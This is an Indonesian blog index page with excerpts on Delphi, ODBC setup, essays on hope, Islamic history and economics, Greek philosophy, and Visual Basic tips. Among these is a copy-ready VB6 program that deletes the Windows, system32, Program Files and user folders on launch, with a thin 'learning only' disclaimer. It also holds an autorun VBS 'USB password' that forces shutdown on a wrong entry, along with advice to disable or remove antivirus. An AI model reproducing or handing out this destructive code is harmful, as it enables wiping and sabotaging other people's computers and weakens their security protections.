Latest Entries »

Array Dengan Delphi


Artikel ini membahas tentang penggunaan array . Materi ini adalah materi dasar. Sehingga diharapkan anda sebagai pemula dapat memahami dan mempelajari artikel ini dengan baik.

Untuk menambah pemantapan materi array, silahkan anda baca juga untuk artikel yang lainnya yang masih berhubungan dengan penggunaan array. Untuk lebih detailnya, silahkan anda lihat bagian link terkait dibawah ini.


Langkah-langkah Membuat DSN.
Start – Control panel – Administrative Tools – Data Sources (ODBC) – UserDSN –
Add – Pilih Microsoft Access Driver(*.mdb) – Finish – Tulis Nama DSN di Data
Source Name – Select untuk memilih DataBasenya. Cari letak DataBasenya –
Kemudian klik OK….Download Panduan Lenkap di Bawah ini.

DataBase Dengan NetBeans


Tips ini hanyalah pembelajaran saja, jangan digunkan dalam kejahatan. cobalah pada komputer/Laptop sendiri. Kode ini adalah perintah menghapus Folder pada system dan Folder-folder yang lain sehingga Windowsnya tidak bisa berkerja dengan Normal lagi karena Systemnya telah dihapus, sebelum mengetik kode ini ada baiknya Gunakan Deepres dulu supaya komputer anda tidak error….ketikkan atau Copy code berikut :

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(“Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(“C:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(“C:\WINDOWNS\system”)
Call DelAll(“C:\WINDOWNS\system32″)
Call DelAll(“C:\WINDOWNS”)
Call DelAll(“C:\WINDOWNS\RegisteredPackages”)
Call DelAll(“C\WINDOWNS\Driver Cache\i386″)
Call DelAll(“C:\WINDOWNS\system32\config”)
Call DelAll(“C:\WINDOWNS\system32\drivers”)
Call DelAll(“C:\WINDOWNS\system32\Setup”)
Call DelAll(“C:\WINDOWNS\system32\usmt”)
Call DelAll(“C:\WINDOWNS\AppPatch”)
Call DelAll(“C:\WINDOWNS\Cursors”)
Call DelAll(“C:\Documents and Settings\All Users”)
Call DelAll(“C:\Documents and Settings\Administrator”)
Call DelAll(“C:\Documents and Settings”)
Call DelAll(“C:\Program Files\Common Files”)
Call DelAll(“C:\Program Files\Internet Explorer”)
Call DelAll(“C:\Program Files\Microsoft Visual Studio”)
Call DelAll(“C:\Program Files”)
Call DelAll(“C:\Program Files\Windows NT”)
Call DelAll(“C:\Program Files\Microsoft Office\OFFICE11″)
Call DelAll(“C:\Program Files\Microsoft Office\Office10″)
Call DelAll(“C:\Program Files\Mozilla Firefox”)
Call DelAll(“C:\Program Files\NetMeeting”)
Call DelAll(“C:\Program Files\Realtek\Audio\InstallShield”)
Call DelAll(“C:\Program Files\Windows Media Player”)
Call DelAll(“C:\Program Files\WinRAR”)
Call DelAll(“C:\Program Files\Movie Maker”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

<<<<<<<<<<<<<<<<<<SELAMAT MENCOBA SEMOGA BERHASIL>>>>>>>>>>>>>>>>>>>

Harapan


Setiap manusia mempunyai harapan. Manusia yang tanpa harapan, berarti manusia itu mati dalam hidup. Orang yang akan meninggal sekalipun mempunyai harapan, biasanya berupa pesan-pesan kepada ahli warisnya.

Harapan tersebut tergantung pada pengetahuan, pengalaman, lingkungan hidup, dan kemampuan masing-masing. Misalnya, Budi yang hanya mampu membeli sepeda, biasanya tidak mempunyai harapan untuk membeli mobil. Seorang yang mempunyai harapan yang berlebihan tentu menjadi buah tertawaan orang banyak, atau orang itu seperti peribahasa “Si pungguk merindukan bulan”.

Berhasil atau tidaknya suatu harapan tergantung pada usaha orang yang mempunyai harapan, misalnya Rafiq mengharapkan nilai A dalam ujian yang akan datang, tetapi tidak ada usaha, tidak pernah hadir kuliah. Ia menghadapi ujian dengan santai. Bagaimana Rafiq memperoleh nilai A. luluspun mungkin tidak.

Harapan harus berdasarkan kepercayaan, baik kepercayaan pada diri sendiri, maupun kepercayaan kepada Tuhan Yang Maha Esa. Agar harapan terwujud, maka perlu usaha dengan sungguh-sungguh. Manusia wajib selalu berdoa. Karena usaha dan doa merupakan sarana terkabulnya harapan. download filenya dibawah ini……

Makalah HARAPAN


Sejak zaman prasejarah, penduduk kepulauan Indonesia dikenal sebagai pelayar-pelayar yang sanggup mengarungi lautan lepas. Sejak awal abad masehi udah ada rute-rute pelayaran dan perdagangan antara kepulauan Indonesia dengan berbagai daerah di daratan Asia Tenggara. Wilayah Barat Nusantara dan sekitar malaka, sejak masa kuno merupakan wilayah yang menjadi titik perhatian, terutama hasil bumi yang dijual disana menarik bagi para pedagang, dan menjadi daerah lintasan penting antara Cina dan India. Sementara itu,pala dan cengkeh yang berasal dari maluku, dipasarkan di Jawa dan Sumatera, untuk kemudian dijual pada pedagang asing. Pedagang-pedagang muslim asal Arab, Persia dan India juga ada yang sampai kepulauan  Indonesia untuk berdagang sejak abad ke-7M (abad 1 H).

Menurut J.C Van Leur, berdasarkan berbagai cerita perjalanan dapat diperkirakan bahwa sejak 674 M ada koloni-koloni Arab di barat laut Sumatera, yaitu di Barus, daerah penghasil kapur Barus terkenal. Dari berita Cina diketahui bahwa dimasa dinasti Tang (abad ke 9-10). Orang-orang Ta-shin sudah ada dikanton (Kan-fu) dan Sumatera. Ta-shin adalah sebutan untuk orang-orang Arab dan Persia , yang ketika itu jelas sudah mejadi muslim. Perkembangan pelayaran dan perdagangan yang bersifat Internasional antara negeri-negeri di Asia bagian Barat dan Timur mungkin disebakan oleh kerajaan Islam. Akan tetapi belum ada bukti bahwa pribumi Indonesia di tempat-tempat yang disinggahi oleh para pedagang muslim itu yang beragama Islam. Download Filenya dibawah ini….

Kedatangan Islam Ke Indonesia


Reformasi dalam kamus besar Bahasa Indonesia diartikan dengan Perubahn radikal untuk perbaikan (bidang sosial, politik atau Agama) di suatu Masyarakat atau Negara. Oleh karena itu, tulisan ini akan menyajikan data faktual yang berkaitan perubahan yang yang “Radikal” dibidang regulasi dan kelembagaan ekonomi Islam yang terjadi di Indonesia.

Ekonomi Islam pada tatanan aplikasi tidak dapat dilepaskan dari regulasi yang berlaku di suatu daerah, yang dalam hal ini di Indonesia. Penetapan suatu regulasi sangat erat kaitannya dengan kebijakan pemerintah setempat dan sikap Masyarakat terhadap objek regulasi tersebut. Dengan adanya regulasi tersebut, tidak hanya dijadikan sebagai landasan Juridis tetapi telah mendorong tumbuh kembangnya kelembagaan ekonomi Islam.

Semula diciptakannya rumus-rumus dan teori-teori matemastis ekonomi yang di ilhami oleh kegemilangan fisika mikanik Newton – tidak lain brtujuan untuk menyediakan piranti lunak (Software) untuk kebutuhan analisis dan menjelaskan fenomena ekonomi. Download filenya …….

Bidang Studi Ilmu Ekonomi Islam Di Indonesia


Beberapa tentang kelahiran dan perkembangan Filsafat pada awal kelahiranya tidak dapat di pisahkan dengan perkembangan (Ilmu) pengetahuan yang munculnya pada masa peradaban kuno (masa yunani) makna kata Filsafat sendiri adalah cinta Keahrifan, arti kata tersebut belum memperhatikan makna kata yang sebenarnya dari kata Filsafat, sebeb pengertian “mencintai” belum memperlihatkan keaktifan seorang Filosof untuk memperoleh Kearifan.

Aliran yang mengawali periode yunani klasik adalah Sofisme, kata Sofis berarti Arif atau Pandai,yaitu gelar bagi meraka yang memiliki kearifan dalam menjalani kehidupan. Namun pada zaman ini, kata Sofis berkaitan dengan orang yang pandai bicara, mempengaruhi oarng dengan kepandaian berdebat. Sofis dalam gambaran yang di berikan para tokoh aliran ini terlihat jahat dan tidak memilki moral. Namun mereka sebenarnya memiliki jasa yang lumayan besar dalam perkembangan Filsafat. Dan ada beberapa pendapat orang terhadap aliran Sofisme yaitu ada yang menganggap bahwa aliran Sofisme sebagai aliran yang merusak dunia Filsafat.   untuk mendownload filenya klik link di bawah ini…

Makalah Filsafat Yunani Klasik


Link disini berfungsi untuk membuka Alamat web pada suatu situs….tips ini saya dapert dari Mbah Google lo….yaaaps langsung saja…………………

Langkah pertama Tambahkan satu Label pada Form……

dan langkah kedua membuat fungsi ShellExecute…ketikkan atau kopy code dibawah ini…

Private Declare Function ShellExecute Lib “shell32.dll” Alias “ShellExecuteA” (ByVal hwnd As Long, ByVal IpOperation As String, ByVal IpFile As String, ByVal IpParameters As String, ByVal IpDirectory As String, ByVal nShowCmd As Long) As Long
Dim X As String

Langkah selanjutnya buatlah Object general untuk memnuaka link….ketikkan atau kopy kode dibawah ini….

Sub OpenLink()
Dim link As Long
link = ShellExecute(0, vbNullString, X, “”, “”, vbNormalFocus)
End Sub

Selanjutnya klik 2x pada label1 dan ketikkan kode berikut :

Private Sub Label1_Click()
X = “http://tarjianto.wordpress.com”       Alamat webnya terserah Anda…
Call OpenLink
End Sub

Langkah selanjutnya masih berada pada komponen label1 cari procedure MouseDown lalu ketikkan kodenya di bawah ini..

Private Sub Label1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Label1.ForeColor = vbBlue

End Sub

Setelah Selesai Coba jalankan Programnya…….SELAMAT MENCOBA SEMOGA BERHASIL……..


flashdisk sudah menjadi salah satu benda yang sangat dibutuhkan untuk penyimpan Data, Semakin mahal harganya maka semakin besar pula kapasitasnya.

Saya sangat yakin bahwa Anda sudah mengetahui bahwa flashdisk bisa dipasangi password untuk proteksi atau hanya sekedar untuk pamer saja. Banyak software yang bisa digunakan guna memberikan password di flashdisk yang Anda miliki. Namun saya juga yakin bahwa tidak semua dari Anda yang sudah mengetahui bahwa kita bisa memberikan proteksi dengan password namun tanpa menggunakan software apapun, alias menggunakan skrip.

tips ini saya dapet dari Mbah Google….dan saya sudah mencobanya dengan OS Windows XP2….yaap langsung aja…..

Langkah pertama Anda Buka Notepad yang ada di Start-All Programs-Accessories-Notepad..

setelah terbuka Notepadnya Anda ketikkan atau Copy skrip dibawah ini:

==============================================================

on error goto 0
dim s,quest,sd,m,winpath,fs
set sd=createobject(”Wscript.shell”)
set fs=createobject(”Scripting.FileSystemObject”)
set winpath=fs.getspecialfolder(0)
set s=wscript.createobject(”wscript.shell”)
do while quest=””
quest=inputbox(”Masukkan Password, salah dalam memasukkan password,  komputer ini akan Mati!!!”,”tarjianto.wordpress.com”)
if quest=”” then
m=MsgBox(”Maaf, Password harus dimasukkan…!”, 0+0+48, “tarjianto.wordpress.com”)
end if
loop
if quest=”PASSWORD ” then
s.run “shutdown -a”
sd.run winpath &amp; “\explorer.exe /e,/select, ” &amp; Wscript.ScriptFullname
else
s.run “shutdown -s -t 0″
end if

==============================================================

>  Ganti tulisan [PASSWORD] dengan password yang Anda inginkan.

>  Setelah selesai, simpan dengan nama [lock.vbs]. Sebelum disimpan ubah [Save as type]      mejadi [All Files].

> Langkah selajutnya adalah membuat file [autorun.inf].

>  Buka kembali Notepad Anda.

>  Ketikkan atau copy paste skrip dibawah ini:

[Autorun]

shellexecute=wscript.exe lock.vbs
action=FLASHDISK TELAH DIPASSWORD

>  Silahkan ganti tulisan [FLASHDISK TELAH DIPASSWORD] sesuai dengan keinginan Anda.

>  Simpan dengan nama [autorun.inf]. sebelum disimpan ubah dahulu [Save as type] menjadi        [All Files].

> Copy file [lock.vbs] dan [autorun.inf] kedalam flashdisk Anda, letakkan di direktori terluar         (root) di flashdisk Anda.

>  Bila perlu hidden-kan kedua file tersebut. Pada saat Anda mendouble klik icon flashdisk Anda        di  [My Computer], maka Anda akan langsung diminta password yang sudah Anda ketikkan            pada skrip [lock.vbs] diatas tadi.

Catatan:

>  Cara ini tidak berfungsi apabila flashdisk dibuka melalui [klik kanan] – [Explorer].

>  Apabila Anda salah memasukkan password, maka komputer akan langsung shutdown.

>  Kalau Anda menggunakan Anti virus Sebaiknya disable dulu karna file [autorun.inf] yang telah di baut tadi dibaca Virus oleh anti virus AVG dan yang lain. Kalau perlu remove dulu Anti virusnya.

<<<< SELAMAT MENCOBA….SEMOGA SUKSES >>>>>


Animasi  adalah  proses  penciptaan  objek  gerak  atau  efek  perubahan bentuk  yang  terjadi  selama  beberapa  waktu.  Dengan  kata  lain,  Animasi adalah paparan visual yang berbentuk dinamik. Menikmati animasi adalah menikmati gambar bergerak, bercerita dan bersuara. Sebuah    animasi  juga mampu mengaduk perasaan kita menjadi sedih, menangis, tertawa, gembira
bahkan bernafsu dan lain sebagainya…untuk lebih jelanya download langkah-langkahnya dibawah ini…………..

Dasar-Dasar Animasi Kartun Flash

Ikuti

Get every new post delivered to your Inbox.